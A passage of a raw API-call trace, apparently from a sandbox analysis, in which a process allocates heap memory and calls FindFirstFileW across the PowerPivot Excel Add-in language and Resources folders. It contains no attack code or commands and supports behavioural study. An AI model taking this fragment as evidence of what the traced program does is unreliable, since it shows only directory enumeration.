cAlternateFileName="")) returned 0x3b8b048 [0096.760] GetProcessHeap () returned 0x11a0000 [0096.760] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.761] GetProcessHeap () returned 0x11a0000 [0096.761] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.761] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lv\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b0c8 [0096.764] GetProcessHeap () returned 0x11a0000 [0096.764] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.765] GetProcessHeap () returned 0x11a0000 [0096.765] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.765] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ms\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0096.768] GetProcessHeap () returned 0x11a0000 [0096.768] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.769] GetProcessHeap () returned 0x11a0000 [0096.769] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.769] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\nl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf03d07a0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167f56e9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167f56e9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b0c8 [0096.772] GetProcessHeap () returned 0x11a0000 [0096.772] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.772] GetProcessHeap () returned 0x11a0000 [0096.772] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.772] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\no\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf45d3b76, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b2c8 [0096.777] GetProcessHeap () returned 0x11a0000 [0096.777] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.777] GetProcessHeap () returned 0x11a0000 [0096.777] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.777] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0096.781] GetProcessHeap () returned 0x11a0000 [0096.781] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.781] GetProcessHeap () returned 0x11a0000 [0096.781] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.781] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0096.785] GetProcessHeap () returned 0x11a0000 [0096.785] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.785] GetProcessHeap () returned 0x11a0000 [0096.785] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.785] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\pt-PT\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0096.788] GetProcessHeap () returned 0x11a0000 [0096.788] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.788] GetProcessHeap () returned 0x11a0000 [0096.788] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.788] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0096.791] GetProcessHeap () returned 0x11a0000 [0096.791] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0096.791] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1025\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf145ad52, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf145ad52, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf145ad52, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0096.792] GetProcessHeap () returned 0x11a0000 [0096.792] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0096.792] GetProcessHeap () returned 0x11a0000 [0096.792] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0096.792] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1026\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefee59ce, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefee59ce, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefee59ce, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b048 [0096.792] GetProcessHeap () returned 0x11a0000 [0096.792] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0096.792] GetProcessHeap () returned 0x11a0000 [0096.793] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0096.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\10266\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1755c61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1755c61, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1755c61, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0096.793] GetProcessHeap () returned 0x11a0000 [0096.793] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0096.793] GetProcessHeap () returned 0x11a0000 [0096.793] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0096.793] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1027\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4266542, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4266542, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4266542, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b448 [0097.073] GetProcessHeap () returned 0x11a0000 [0097.073] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.073] GetProcessHeap () returned 0x11a0000 [0097.073] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.073] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1028\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xffd42fe2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xffd42fe2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xffd42fe2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b3c8 [0097.075] GetProcessHeap () returned 0x11a0000 [0097.075] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.075] GetProcessHeap () returned 0x11a0000 [0097.075] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.075] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1029\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf632eb9d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf632eb9d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf632eb9d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b548 [0097.076] GetProcessHeap () returned 0x11a0000 [0097.076] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.076] GetProcessHeap () returned 0x11a0000 [0097.076] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.076] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1030\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfaf7a22a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfaf7a22a, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfaf7a22a, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b388 [0097.077] GetProcessHeap () returned 0x11a0000 [0097.077] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.077] GetProcessHeap () returned 0x11a0000 [0097.077] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.077] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1031\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x633d60, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x633d60, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x633d60, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0097.078] GetProcessHeap () returned 0x11a0000 [0097.078] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.078] GetProcessHeap () returned 0x11a0000 [0097.078] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.078] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1032\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e6a31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x51e6a31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x51e6a31, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b6c8 [0097.080] GetProcessHeap () returned 0x11a0000 [0097.080] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.080] GetProcessHeap () returned 0x11a0000 [0097.080] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1033\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf42d8c51, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42fef17, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42fef17, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0097.081] GetProcessHeap () returned 0x11a0000 [0097.081] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.081] GetProcessHeap () returned 0x11a0000 [0097.081] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.081] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1035\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a7cf13, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a7cf13, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b288 [0097.083] GetProcessHeap () returned 0x11a0000 [0097.083] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.083] GetProcessHeap () returned 0x11a0000 [0097.083] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.083] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1036\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa911c96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa911c96, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa911c96, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0097.085] GetProcessHeap () returned 0x11a0000 [0097.085] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.085] GetProcessHeap () returned 0x11a0000 [0097.085] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.085] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1037\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x67a8250, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x67a8250, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x67a8250, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b1c8 [0097.086] GetProcessHeap () returned 0x11a0000 [0097.086] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.086] GetProcessHeap () returned 0x11a0000 [0097.086] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.086] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1038\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x88e2fa3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x88e2fa3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x88e2fa3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b208 [0097.087] GetProcessHeap () returned 0x11a0000 [0097.087] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.087] GetProcessHeap () returned 0x11a0000 [0097.112] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.112] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1040\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b2c8 [0097.227] GetProcessHeap () returned 0x11a0000 [0097.227] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.227] GetProcessHeap () returned 0x11a0000 [0097.227] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.227] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1041\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6355df6, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6355df6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6355df6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b088 [0097.229] GetProcessHeap () returned 0x11a0000 [0097.229] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.229] GetProcessHeap () returned 0x11a0000 [0097.229] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1042\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf048f354, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf048f354, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf048f354, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0097.230] GetProcessHeap () returned 0x11a0000 [0097.230] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.230] GetProcessHeap () returned 0x11a0000 [0097.230] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.230] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1043\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x303975a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x303975a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x303975a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0097.233] GetProcessHeap () returned 0x11a0000 [0097.233] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.234] GetProcessHeap () returned 0x11a0000 [0097.234] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.234] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Resources\\1044\\*", lpFindFileData=0x347e2c0 | out: lpFindFileData=0x347e2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf61d7668, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf61fd8b4, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0097.235] GetProcessHeap () returned 0x11a0000 [0097.235] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0097.235] GetProcessHeap () returned 0x11a0000 [0097.235] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0097.235] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft 